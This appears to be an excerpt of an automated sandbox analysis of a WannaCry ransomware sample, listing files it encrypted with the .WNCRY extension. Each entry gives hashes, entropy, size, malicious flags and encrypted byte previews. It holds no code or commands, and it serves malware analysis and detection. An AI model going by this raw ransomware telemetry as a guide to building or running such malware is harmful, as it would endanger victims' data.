                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.....].%.C.C.H.=...Q..1.X..6.O.p*...|.UBo.....+....UIT&l..y.f)...Y..1A%CD..o!......^K..[o<..j........B3^...NP./y..Narx.*..p..].2...[:S...K$;....]58L......=.\.BY...^.....!..%R.f?. ~.yl..f.1P......A.....|.t.D.3..9..~q..10..H.....Lm.v...O7j.....kj..{...............N...+..`.#b.2.....$...Y.l<*.'U.A.p"......~.F...D.A.$.R.,mXS.~..O..g4....'..p..U......wu...s..m5.EiF[....yW+iN...D......n .t.....\..*...c....,....au..>7.e............Da.......Mqc2.....(T.J8.z......3...&s........}..a.cx...-..`=r......f2&d.......-)iX.B..z..m/...3.,.......3..k@.P..%=?.... .....\]-.....O.....W.....i......?.4...W....b:..&.3..k?k..i.....w@............o..p.4.Fh...vp....V...0.R.h..0,.;..]{[..}.C..l-!D..*..[.....X..%!Y|...-8J.>...K..dM:8:..R..k>M..K..PYJ{.7....#%&h....N.W6..Y{#.H..uT3...-a..f...|.._x./.0..Q....F.Tz......7...../.V.9...._....K.....U@..."!~....a..a....M...g.[...R.C.u.A.].f.]S.....(.<t..G.=..>....#N.[....C.......F7....wPy.ql.m..L.,g..?.. .6."@..X.a#..L~'.=

                                                                                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000005.db.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):75240
                                                                                                      Entropy (8bit):7.997452294795668
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:1536:NpeERLjdNMRfGhySQcL2CcyhcMfhi95QcIK7SWJdv8nWHZEm+NI2cdECHUGR+:NpnHdNlZqCcoi7I2SWJe2u6WnGo
                                                                                                      MD5:EDAED9B0FA033201870CB5C91B007384
                                                                                                      SHA1:40D52EE2AFE5C41BA006709B027E6F4DBA7E745D
                                                                                                      SHA-256:74F161461B45EA9778779D989C14736E84971F04334A86EB882335BBDFCC2801
                                                                                                      SHA-512:5CBAC9FFBC75759A48C31B58DE35EAEFFE4A02EAD7AD475BA1C957EC2B68DEE6AE868D1D5F65BBBE336CBD46D80CFFD0D20DBE4D67B444A56AC460D90091B4F2
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.......fS1...,.pl."Y..g........q../..^X.6~._..f.....Y........~Cx.y~.a.......3.)2*Q....R..u$.V....5..0...,.....S.../.2./..u#.+.v.W...n.....$....;.g\S..)as6....+X..;..R....b.........h...o.[..9.x.SSF..jkJ......d...!V..k.R.\..1.-#.u........l{.Q...G+.`4......$........u....?....V....B..E..<...Jp...[.z'.~.x..s...G.2..l./..s.r9$ ...L..=..@b....4.a.......ua....`*..0...<.u.$l.c....wT2..7p..:oB.t.F.......m..8.N....u..x]%...|...7.......EL_,...UJ.P....Hq..........b...O.8...-.n .F._Ez...%..-....V.VNN.}..L....JG....ta.E,.;./|.rl..$.....%.6s.L....~..h...|..x.+...{...bJ...G....0..r{.k..Y......O..'....il.4..B.JUn...*8.....~;o.&L(..9,.k7..jo[EN.NL.-.;..R..Y....KS3.:.:*..S..e3...-.O...~...x...,...`.kP...2@.....qL.3../5..6.w...x.9q....{.D.z...M....:....r?..Or....&...T_.CqQ..cn....9z.>.e..z.n*b..`...e6.9...^+...#...D.....W......T....Q..."E7.@4u...... y...` ...|....3e.......NL.N.K.....M..9....n.Cr....?25|...Y.Gaf.<:...q..j.4.l......... ..I.L.F...[17...

                                                                                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\INetCache\IE\33CUD2J1\ConvergedLogin_PCore_AI1nyU_u3YQ_at1fSBm4Uw2[1].js.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):418488
                                                                                                      Entropy (8bit):7.999534286258581
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:12288:8HRbXISPzK7a53ekMFnGoLtERwnh/poGDC8MI:8HRb9zK7aZLjoLZh/yGDC8l
                                                                                                      MD5:F4B1D4351C0F54C73321D95DA5AF046E
                                                                                                      SHA1:0D4F933CBB55BA65DBE24C05A2F4B1368910BE21
                                                                                                      SHA-256:5ED9F73D2B43A21C4F2228466829A95FD47914B5CB0FDB23447A7C206DC59618
                                                                                                      SHA-512:25F010419805C47430C5064A60163862AE661D7F75EA3920C408530AF8825D9463644208443173FD588514A4D635915D09D6A8F3F998C872A509B3855CE80F5B
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....5Qp..[Z.....p*........?.z..Y{.....`.m..Qv....z!Z..R..=o.JrWP..!%....../.....|....y..F?".+.8#..u~}.*./...#s.....Z..A.h.3u.[...M.)..,fa|>^9=b.WP``..*..s.Jj].......pN0pq......".b...sF..`..U...}A.......~..g..mu..0..R.2U.zA.{L...@.PV.0.....|..w)...}......a......5.l.{...aJ..H>..c...F.....i.$.#..hzn.../4.w..4fN.Wt.)>..(.gd>.G.G..;.X:...W..P.ura}.R.RA@..G.coW.R{.N(....HcSx..sM..........?GD.J...._./.....\%.)@9E..../....ai....:.8.XU..I7*F..............w:2.e.S....v=:.R.....j./.....C{7...$....(...5-.c..qh.I}gc]...mI.2........*.S{vA.d..+.18mS*.{..,V..l.GK.MH...K;.H.z63...A....,!....{..J..z\.wx....3.r.C..I.G...TT.Ky*j..[..N...}XR.&...;5.:....w/.........nC@h.d..S....i.!x......iZ`_..Dr.b..bv.9....P.V..r..A.wJ.......M.1.x>..E.(.....&..mjdz...%.e>.q+..r....J...|2........E.}.....Z...cZ..F..gP......nv...l..=~.QW_.:n._..Yh.|g.h...0.^....G5...o.Lf<ExZ...T.c7L..YOR;I.Q.k..$.i.G..|..C...gLI...5.:.....}.$.7..:_..+......#g...4....e_S..~[j...,+.mI......G...$lq#.dC.`|

                                                                                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\INetCache\IE\33CUD2J1\ConvergedLogin_PCore_tSc0Su-bb7Jt0QVuF6v9Cg2[1].js.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):416088
                                                                                                      Entropy (8bit):7.999541274918822
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:12288:aHc/Z9uSef6dRrQ1YPv1mBjbTsiQyWYrWa5:ay98f6dJ3wPWYrWa5
                                                                                                      MD5:4B37D6CE205BF3D1B028BFC6D7F2ABCD
                                                                                                      SHA1:6B764D36790272F3E8AB4831A259A5EC7C47C8B0
                                                                                                      SHA-256:EBD698BA35684664280785005E523D8A8E024A142B38B2A612B77D73EA204FC9
                                                                                                      SHA-512:FB3FA639C265DF11838CB30794296A1DA4C968192E1E5A05DE8E9F0F8CB2B50CF55F0B018BD88480EB431955996A75352941F7684072EF42BB0ACFD77B24A51A
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!......Up... M.O..VE..:x7..5..^.jh2.9.p.J.*.(.T........mm..CiHH{!..0>.RFJ..e.K9K%.o......\%...x<.....Y|.p."...m...(.T]y....t\..}G.......X...6Jxf.,......._W/FZ.-..c...J..h..P|..i.F.f.Eh...?.'..W......yj.s.........1.-.7F..`.t....`.g...I.#..z.'.X0..T.......2X......,....E."...P....d.....p8.3.Sq..'.4;...._w....Q...R...c&.$.....C!.^B....6Nw...4..g$........r....j.!..{...S.....f.<inh.f.5T.%ZR.4H..w.g..hax..F\......eC.B.g......M......#..~..)....X./.n.*<.%dHP2w_..@.5.9.9.1."....m.o.[.....?,m..A......uY..b$.s/.......?.'.@....:..4Wb..I....f.i9o.zc..)........RcaQ...d`.DS|4T).5.X+t.a.i.vd.Y.}.....Y..s^..Y.C...%.`.wF9.v...}...N~...1.U......-I6b--.cC..i!G.|.?v...7..3.....W7'!......h@.dj.N0 .......{@T.....<...q-V.d..F......t...m.,..@....;.(..\..)..L.).O..x....8.W.........W...9.r...>h~..p;^..Ln.n<..z.....u........t.m.$4..%.8E..*.$.`7Tk.......B.i^.=mA.&.Xs..5...u.K@..o...D...]I;M.&.#..Gw.c.BlSO7..xg4aZ...S.....P..I...N.=.{.xX`R..v....*R..M...C........p.

                                                                                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\LocalState\PinnedTiles\26310719480\squaretile.png.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):2680
                                                                                                      Entropy (8bit):7.929310728506189
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:48:bkvgsTGAwft8FvdGHPG8sGeT1HjMYdAAyIlLXUqzofr7Z+LmrGauAs:ovgAGAwV8vdKQGWKPq0f/ILmqRAs
                                                                                                      MD5:4620EBD04E1AA587DBC94C48DC6633ED
                                                                                                      SHA1:0DB59B084FE71508F82264B503CED7355841A6AB
                                                                                                      SHA-256:7B1440C41C48B9D98C2D8D97BC66AEC65B05D8892279316FC13E25F054695553
                                                                                                      SHA-512:E837D28EBADE03DE0B309022B4AC88271987C3F85DDC8C299A47596E13E37EF0CCF578E6644F4CD4660C8BA3BBAA02FB9FD3A992AC424CB4F498084D8A1C7F40
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....e..N....~].....u"...?g.....S...B...37!.wv..0....d....rE..Jn.4z'..N.w..=2[l.7.!a..\J....y}......:..>f...xz.$../c..K.u...H...m..+I.zYJv5f.AP`.F=x.m.C.&.m..K/...a.....1.i...W.!..1...6@1.T.~..........!.RDA..hI.gf...""....`....Y.&&.ur-h#1........f....Y.........(.....F.m5..@...t.j..n.i....:...@...........-eJK..X.5>R.P...d.....Hr..`6....+O{.l....)eo.......Ap...O..4A?.n$..{.c/....a,3..J%..\...E.?O.i..X7K...$~!.M..)..d....B-..'....j.04....P.C...A./.a..u.e.....N.C.X...i...Fh........~.L,io...|.U.}...w,.c..>....0={.....hmZ.....E.wY....E..~..;....4~...mtU.*@9.....c>6....B....j..4eb.....[....$..\..!.......9V.....U.~..$.w...e_ymJ.ec{....g.'s....R...l.I..U^.B.....y.f.>....B..Z.M........y.1.4i....d.q..E..qsyc.vC....K....%a.@c......~.Zk.u.l......s..a..n.....+......o4..?&T.c....*.B.].=.~.';dg.4od...CD@.>.G({.Ao....nZ[Z.U.w...3...(.V...P.F...X.nn..G..>;.4UcWz.1ZF.'...M...f.C..(\.>...3.K.OK.%e6...T...T.B..h......]............J0+.Q..i^X....l2.>.R..

                                                                                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\LocalState\PinnedTiles\26310719480\tinytile.png.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1912
                                                                                                      Entropy (8bit):7.889949544081407
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:48:bkmFTR8SNzoymNocKhGG4PpI3cKwe6L+kgo3U:om3GygKcTPpI3DwlHk
                                                                                                      MD5:9151A67EF702BE98555B804D4FBA1C06
                                                                                                      SHA1:C58BA6EB70F977B4FF4009B02AC80D5EA2C4E6F3
                                                                                                      SHA-256:7768CBF8DE859FD500266CBE2F7D613390D55E1D4655FB42B416D3F1EA1EB214
                                                                                                      SHA-512:5B6CA11833E1963AAA3E70B53FA18A36496C6893B74D53EFD5C8BC0324336E99D5624ED0F72C21428898927E8B0622F842499825D22910056E5F3EE719FD8D41
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!......8....i#g.|]..F@mA.=.4O.:/,%..1...Qh.K......&..Q<g.......W.Gv...j.......s9p.H...i...O...#F..}'..1..t.O.m.....)..#...=p..j.....!....e..!...R....p.%\>.8.F^7m... d....l..y......4V.t.dP.Z...<...4....tq.....P(f......[.R)=...x6WB5.~^Q.p..A......h2....[............e<.B.O...}........il...q....L.LR6....MF.F.Tx)B.Z.s..$..c=.04...Q...|...du3....#....+5.........c..."`T.Tz.....v..=.Xh..~.......@...w....d...m._..h[K.k .^..i]+...spDCD.y...%9.[...B...H.x.\G..K.?.;....i=v...@+.J..Z..xb.TR.KJ.(s...........I.aH%...-...^.....t..>...n..,."...)..Kg..S../...u...Z.....,....ntu......|{$....e#..WW...v).o.'..N..!.j...SpK....{+7.l#......dx...k.};...@.+@....@....]|^?Z.._...,.n....3..#....4..(..I....G..W...w.J..&._`.<W...>.3An...K...2]..w..y.t...JR..3...i$^..oW..T..3.Xs.O.....)=.r.C.m....|3.....cjD.....9..!F..[......$|eT.Z..u.=F...w.n.R....z.._.....c..Wv.L..[.|p.l'.I:......6.#....6...(.....V.MfW~.....u.lf.. ...Q..w.Nt...oh^r.....................

                                                                                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\LocalState\PinnedTiles\38975140460\squaretile.png.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):2696
                                                                                                      Entropy (8bit):7.915956594346289
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:48:bkuPCO8qUXUnrDpOFE7XkEPJGLwidp2oX7wzX6iE7mdWOND3gv7M2GQ4bDfEUnS8:ouPCOVIUnvpOir3JGn797wzX657sxLgy
                                                                                                      MD5:FED1B79F89009D6F7A128AE8901C8045
                                                                                                      SHA1:1C677AD0B5230950626FE89AA129F43D55B9FD61
                                                                                                      SHA-256:3E12E0B683DCA633032FF7C75A3D52A0EDA8940C153F7F85237E4B2935F50790
                                                                                                      SHA-512:2DEE04EB159E38BBE707EED00D3C1E6379984CD4135D0F84D447C8218063B15A8F05394692609B38D254EEE187E648F6FBD0EA5C9D3299F8885DE2AE2189FC08
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!........:....Yv>q.........[...7..s......;....|......g..t....p.x..^...5.M..)}..NK...`.VG....'.C.*...7.......id.Y..(....NP.......XP...|..{1$.....!8l.....8.f.A.....\G...W....t%...d[.....g:YF...w...&..+......e..{cu..@..N.......6.j......L.Tq..#.y....a................LB...9.t..5"*&S1.k.i..bK|.`.i...3u/Y.r8..*....g.YG ...........c.m...v....\...)..?..n...j..,.}m...[....*Y$.`.=..,.q.D.....$..7K..M..uw..7,...L..=...5%."....l[.!k..........a..0Z.|.Z..B.}..........k4.T....:.T.T.3..N.m.U.1.....K....u.'.B"5 .%..,..%5.},C.X..{.1..+...h.'}....({...,..C...-...T..7...`....u..Q..x%.l....6....c.G...i....s.......B..."~...T.Jq[........B.9.y....:)...#.....d...v>n:.qs.(.s...`.TdL....>.......6]..zw..>)fLnAY..'..H^..]..|6.BR.`h...i....:.<..............D.&AA..6x../.T...#b"..:..M3._.4.....L..7.G.W..9..S9.#.z..D...8...X.<...F...+(.Q........{/.Y..|.......~.'.Xf.6.....-m6x)E.!.l.(....a*WF....$..E.oY..$q.8...P+'..... .?.1......u..^.K.|55.,.k/._.8.R...<j

                                                                                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\LocalState\PinnedTiles\38975140460\tinytile.png.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1864
                                                                                                      Entropy (8bit):7.901198710729141
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:48:bkE9FuvsWrf/ddIHS4cv0nTHdG8pHHIQ4hPupB:ooF+7/oHS1vWdlHHIxhy
                                                                                                      MD5:8754EA9CE20C68F398329152D545F71C
                                                                                                      SHA1:88F73E3BF7729FE400420E18B7BB5B0F1810FD60
                                                                                                      SHA-256:09DBBE673E58C1FEFE8E8EAA153899D979EFAA477661291D86643CD46E5E6355
                                                                                                      SHA-512:985BD845C5FA5F9292F75E3202B1936DF6F135557729634A2A365458F2F33725F6D778422F89E11A07C4534570C49F9D019D7F8AE9114EC3435495CC8539233F
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....#.c.).5.*J.g.....T...r..%..x.k:.....9......\.Ip6......../.9.....D....Y..Y....[......R.C.zH.G.T..3.0.3..EE...t.6>'....../.....J..l7..{.v.t ...a*.1.._..D....U%...g......l..:.#.cO.g...i.D7\.n..$.kN..7......-.E..E...4:.$..Fs..s.v'....>....v......).......Uu.iRBN...5d....D.. 0.Q...(9?........K4..Y4..%P..M*..'..H.~T3...<..A.bT..utu..j...L..8...@...m....RRA.9.U..zTy...........\...4O.g.M.d&baS.t..t...E.."..e.(.?...je...a...-.Suj....z."4~HT].["..V}..9..C....;'jg.k.`..).....Is.......onci.Z?:ah.U.{....^.1..l....:..,.b.F.G..C.z.......'B.m.2.H8I..pI./.)K.Z.7.F.....X.>)g./.R..Z.......S.u...4mY..^E9.J..S8.U...:.fN..G.,r-..=.P..%.I...O+.S....:...h|..0,<..A.......a..wT.U........w....E...#....;9[...e.p..UE......q...]..1...Z..U.vp/....J...l..a...g...L%.m./....{EaBtr..3.5. !.o..(.5......t...DQ..y..=...N{....,....;.e....;{...b.G..P.H....'3lf7.D..[.v...m..|r.m...E..o...^.|c..7].4.Z7..W...2.u%.t...@..0.!...^+&.Vgf...3.(..a8,.D...0.Z..9.y........fR

                                                                                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\LocalState\PinnedTiles\6501008900\squaretile.png.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1848
                                                                                                      Entropy (8bit):7.890861848011317
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:48:bkXdUwXD6Dj56g6FWGbiEfBogD6j4FNuNLy:oXdUY461FDgUFNu+
                                                                                                      MD5:8ED0C042232E4093E45E1DBFCDB1FC3F
                                                                                                      SHA1:080DEDFB7C77E3153CCD516B95E82177AD62FB86
                                                                                                      SHA-256:0D9047C1B6AE2B427AAB934943D01676ABE9DA5C308A9634F5065E02153894E4
                                                                                                      SHA-512:23F65990A27333D7FFC0E3C68375C6BCD7DC09DD429027393E10395688E181C9BBDF6CDF78B6A826002958A838BD2FE3854D91E71BEC92AB21C86AC5B2D83D59
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.....J.&f.<..N.HG.{..!...\......Y..o....C..oc....g.........2}.7..Q3.Y.I.|.).Q...j...1:}m.+t...k.2...l.0w..:.HR.:L.U.H.$.oK(.,+...G.?.[...vJ....!...,.............G.SO.........S....z.......J.Tc+..MVK,f.u......4.k...5G.h......I-........)F...7.....s>.7.............? 6z..<...u.c]...7,6...Pvu{.....P...../.h..........C.#.....S..n"v.j....H`jQ{v..@1/....}...Z.*.9.v..*{..[....t..@...W..D.*...Q.t...../..zn......B..J.L........b...6.W...sy.+<.....1..n.C*.y=...Z.......'-.fn...5.Wf..n.....,Q...HD<.'...?.R/..<..w*7V<..r..*....%...b........gm O...xHA..C9..e.M2.`I`N:..J..Gv..6l#.}u:iu&..N...<...U9..)+..I[...J.......-2sx.x.0.uH..hz).a~z.rr..Jl1.iFB.....O(..>F$........5.'xw.VR....;.]..qT{q.X.*.z.H.o....e.-!.v..`....Nz.}..P_.k...../..!h...-r.f..c.v..r...Z.....x.....1.2.T....d9.?^.XA..wS...R._......5g....ER...m..my9R.....j.o...._mo.0... 2...;B.5u.K...:..'.C.m.I..dct....k.>:ts...+%l...b..;.b...a....k.Y... u.Rv.;...i.R.o%...W...j...vqf..CP[-...:G.[.N=

                                                                                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\LocalState\PinnedTiles\6501008900\tinytile.png.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1400
                                                                                                      Entropy (8bit):7.855357853321861
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bk3JFc7PFsAYohGak7Es4BW8Oh8Lr6iNeO7PwV6USXnfAlWHg32H2ucyhcJMQAfn:bkZFKPivuk7EjBWcrB0O7YcUmfTHgc2U
                                                                                                      MD5:E8904E8630628E941D064BD273849443
                                                                                                      SHA1:E06592EE8F248F306451FC5D1FAD9C664B567531
                                                                                                      SHA-256:BA362500624A75772363EE7CCC45F3A7CE0EBD988B23862C02509ADE0641C09B
                                                                                                      SHA-512:469D53AE46D600FEBDBA4784D37D4C2584A10521AD5E6F38BC601ADB570A1E90C1C93078648299CE719432918AE0A597CFFA283F7BA2FBBA674081320C98F70A
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!...../s.w...y.n..K...^.@.#.e_..(.|...G._.........w....\.IV...Vz...9/.Kt.W...'....H...._7hh...)..S.*j....P.[....._.....R..YX....a+...Y9..JtgBU..<.....>..3.{..y.....g*.[...7...s.KY.....a.Vt.....4..Xu..w..V.N{r...h.M.ph.. E%......N@.r[|.oQg._&....Y.......mv..T..g.kE..B.?..8..N......|G{o.,...w....7.H..1.'.q.,....?._..vY.0....p{.qR...&p<.sc.7.})x...B..YO)..2.F.,.BH3,...G:9.6......n.zuW_o../.a...... .RXm...h.5..i......l..P..Vco)..@..^l....{.P......r......m...B.A.^.{.y.W.1.14).....e..99.....d...f!J.k..+=M?.;.MX..5t+.....i....,x.^Tj....#f<...~e..<....hN.8...~.....<.*.U..7(.4....iw@...V/...|U.....A.;...>..`.o..S...\.3.*.V.........1Z.......\c...<..uia....f+.~.O.^..4..v....].......9E.`...#}... ..G.....O..N..|0?-.C.c......:..-...W..9`/j."R..}..N.^.e..9.`...2.{.......sTw.?=...a..#Z.a...Ce;..|Hc.`/V.<,9.G....7x....=t...2..Y.db..M(..D.o'Y.....N.fYu..o....A_[.]t....V.j.?`.X....B'$./.....m.[..| ..-.G.{....]..g.Z.....+.{]...............

                                                                                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\LocalState\PinnedTiles\7603651830\squaretile.png.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1736
                                                                                                      Entropy (8bit):7.8984454981932295
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:48:bkLRGq6qRkNd8EZ08qobTzOMZdpR4nicZVFaJNYGaI6kTpY1SDW/:oNb6l5G8ffjH/kXaDYGT6kTpYc6
                                                                                                      MD5:EE74906F6D2D6768A8085EB7CD6B5854
                                                                                                      SHA1:8ADA7F1C1339D91556DD0D162E5D7E9B6724F065
                                                                                                      SHA-256:A08658A88F9413F6A107895F9CA3B0EE590F8865619490919351482E6326EBE8
                                                                                                      SHA-512:D2FFD2C14DFC77171D3C8042C39F91C2294AA4C6166DA35EAD3539369CA7EF22B20167FEB8D4074445EDE3F9770CBC7A9CC65FA031D50883AC68930B0CB4CA90
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.....p].6.@b.......a....W.....Y.q....W.mn.;..(q...&.mW......M..}u........c.bR$d.....IK.ib..&....^s...Z..i...h...w....3..{..>....1aE.....-.6..JE.>.s...OT.a .o...v..T4.....r.X.zV.*Y.......vU.s@4..w...F.Au...s.....hA.......`..~.1...z.v.\.S;.....f[..............5.opm ...L.Wj..m.{.d. ....l....d.B.....%.....y""L.=....z.._......a..k..."S;.S\9......&i.d%.f...0U.=.#e.... ..e...e...#..L6.j......(^.....W0n..q..xt..{.*..).*..9..2...\a@.tQ....Q.%..6..O"...,x.[.....K...]l......E...;.l...#f....%.a.P.........*....9K1).|:...8..yXfW!..gPz.[...>. 2.........{.lY...C.){S...7tG2hGi....Ibn1 .RU.,....H..>....Ye...%\..r..V<gW........N.T1,..,.b6......k.H.(".;...HVF.A........FT.}...`.....g..>~..Ag.de.......m.*5...9p.eU...F?S.....".O..zW.1.`...c8.z.....Bp..<.}..y....-.$.<..S{......9.zf'$.....H.!.1i.5c..6\...9...>.&.h..."..?........@..t.`....:....>..1..h..8+...[)lyx...)........\....l+.S.pH<7A...;nk%..._{.c......^....:T.........W.o..1.....lP._..I..!R`_..t

                                                                                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\LocalState\PinnedTiles\7603651830\tinytile.png.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1352
                                                                                                      Entropy (8bit):7.832379313547018
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkYTtFRzYLHW//o06rd55NZQoOLcFunx+TYz5pmn9LUoJYEkPhYCBJ:bkGtrYDgAdnColY/GUhPz
                                                                                                      MD5:7DC370B02D051153BA300E2DE5E351A6
                                                                                                      SHA1:2E92C192F0BA3348C3B2E3D4FDC909F859892CC2
                                                                                                      SHA-256:8C19D65245E962CFBC0A80223743F46D59DA7BA9DF25993EFA9DC7AAF99ADA6A
                                                                                                      SHA-512:440BB6116D8CBDC7E9E223D0855FD6D61884A74768D8B56A52155AE8D02762D08F230567EEF61069BDAC51CE78EE831630FA3274A741A624B5DFD3ECBC7FEEAE
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.......{.N.%.G.p.+..m.g.;]K.}0.......b...S~.,.*.W.._.M....qw.C.fD..o...4s.G.1...8*&h!.....@..M...@......v...{*..3mT.9]W.%4C...8p..B8....PmK6......,..G.n................K-]....^Z>'.4y.Z...E#......A2..g2p}*s.ZQ..D..e.l..pm.! <..b..F._...a................$.......f.(....q...........e.....K...(..L..ic.1-0......9\.....M...r.D.D..._.'.>.9.*..W..V..'.....5..!.6.T..........wrZ.X....h4....q.....h..5Gc...Ccf.b,.O_.t:!.....b...=\....y_..uQ,..&I.P..v....]......Iw&.p~.....&8;8..1r..tKnvo..[.T.ia.s.Y%.?k}.U..'..m...b].y.z"...b*.a.O..t.b.U..O._G..I*.f......I(.w.J...h.......Rfv.&~......s.../umg....Q.....@..`$..5.8..hs..Y...m...Q..`.TOj...'jv.lIe.k.m..Md.a2l.....p........y...X.TY.1.?..4.;G13...=".%haY.PA8ij..i....rcd..".J/....L..L b.[.....`l.<..1..fL.{e._ ....m*.2...\.uN..n/R..,.DP..|O{.L....Y........]C..m....:\^^...s.....m...6}.aB_......h...o"...&w{fNh\g.+..y.?{.......ML..s..T/iE#.^Y......".04...k5.p...=&..."s....s..bJ..P.w....&.q.Yz...$...4....,..{g....<.

                                                                                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\INetCache\OB7JJZIK\sharedscripts-939520eada[1].js.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):53480
                                                                                                      Entropy (8bit):7.996598408453165
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:768:VYlbfb4X6GR9SI2SGl/Z/F4FKYTusislTE/fYWsIA4fSO2QLIBL4FuBJDQeFVniv:ap9GLvGD9YLislwH1A5L+u3LDzgmA
                                                                                                      MD5:FC430C1E0700C221D1A17FC0CE98429F
                                                                                                      SHA1:AD72F1B4DD0D95DAA671244CED166751CDEA0322
                                                                                                      SHA-256:847DCB531D60E532D8F8815EF94363F76EA5B67C5C642C37397533212F25F8DF
                                                                                                      SHA-512:75EAF90AEA36005BC5B3A2EA835E0F2581FEBB23EA9691AB2403BBEB999BCF385C3A938A225D22369E0DFA0D8DD5656BD3F5E34EE929F4E4CE9303C24E19B9A2
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
